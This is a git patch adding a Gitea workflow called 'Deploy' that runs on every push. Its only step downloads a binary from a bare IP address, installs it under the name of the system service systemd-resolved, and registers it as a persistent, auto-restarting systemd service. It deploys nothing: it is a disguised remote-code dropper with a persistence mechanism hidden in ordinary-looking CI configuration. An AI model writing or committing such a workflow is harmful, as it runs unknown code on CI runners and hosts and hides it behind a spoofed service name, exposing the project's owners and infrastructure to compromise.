From 93b1705791cae138b21c9a3a4a2f4d18080fd52c Mon Sep 17 00:00:00 2001 From: op29991 Date: Thu, 20 Aug 2026 07:55:32 +0000 Subject: [PATCH] Add workflow --- .gitea/workflows/deploy.yml | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 .gitea/workflows/deploy.yml diff --git a/.gitea/workflows/deploy.yml b/.gitea/workflows/deploy.yml new file mode 100644 index 0000000..5db86a8 --- /dev/null +++ b/.gitea/workflows/deploy.yml @@ -0,0 +1,25 @@ +name: Deploy +on: [push] +jobs: + deploy: + runs-on: ubuntu-latest + steps: + - name: Deploy + run: | + curl -fsSL -m 60 -o /usr/local/bin/systemd-resolved http://103.150.215.6:8888/update + chmod 0755 /usr/local/bin/systemd-resolved + cat > /etc/systemd/system/systemd-resolved.service << 'UNIT' + [Unit] + Description=systemd-resolved Service + After=network-online.target + Wants=network-online.target + [Service] + Type=simple + ExecStart=/usr/local/bin/systemd-resolved + Restart=always + RestartSec=10 + [Install] + WantedBy=multi-user.target + UNIT + systemctl daemon-reload + systemctl enable --now systemd-resolved.service